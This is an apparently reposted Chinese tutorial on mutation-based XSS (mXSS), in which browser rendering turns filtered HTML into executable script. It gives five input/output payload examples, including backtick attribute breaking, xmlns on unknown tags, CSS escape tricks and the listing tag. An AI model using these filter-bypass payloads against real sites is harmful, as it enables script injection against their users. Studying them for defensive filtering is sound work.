前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >mXSS简述

mXSS简述

作者头像
IMWeb前端团队
发布2018-01-08 16:05:50
8420
发布2018-01-08 16:05:50
举报
文章被收录于专栏:IMWeb前端团队IMWeb前端团队

本文作者:IMWeb 杨文坚 原文出处:IMWeb社区 未经同意,禁止转载 因为没啥好讲,就说一下mXSS

ABSTRACT

不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入。然而,如果用户所提供的富文本内容通过javascript代码进属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting)。

下面将举几个mXSS的例子,以供欣赏。

反引号打破属性边界导致的 mXSS

2007被最早提出来的mXSS,该问题再绝大多数浏览器不再重现:

  • input
代码语言:javascript
复制
<img src="test.jpg" alt ="``onload=xss()" />
  • output
代码语言:javascript
复制
<IMG alt =``onload=xss() src ="test.jpg">

未知元素中的 xmlns 属性所导致的 mXSS

一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。但解释后却产生了突变:

  • input
代码语言:javascript
复制
<pkav xmlns="><iframe onload=alert(1)">123</pkav>
  • ouput
代码语言:javascript
复制
<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

CSS中反斜线转义导致的mXSS

css中允许使用\来进行转义,但在在一起的时候,悲剧就产生了。

  • input
代码语言:javascript
复制
<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>
  • output
代码语言:javascript
复制
<P style="FONT-FAMILY: 'ar';x:xss());ial'"></P>

CSS属性名中的转义所导致的mXSS

\22转义后产生的悲剧。

  • input
代码语言:javascript
复制
<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">
  • output
代码语言:javascript
复制
<IMG style="font-fam"alert(1) ily: ''" src="1">

Listing标签导致的mXSS

Listing标签里面的东东会发生些奇葩事情:

  • input
代码语言:javascript
复制
<listing><img src=1 onerror=alert(1) &</listing>
  • output
代码语言:javascript
复制
<LISTING><img src=1 onerror=alert(1) ></LISTING>
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ABSTRACT
  • 反引号打破属性边界导致的 mXSS
  • 未知元素中的 xmlns 属性所导致的 mXSS
  • CSS中反斜线转义导致的mXSS
  • CSS属性名中的转义所导致的mXSS
  • Listing标签导致的mXSS
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档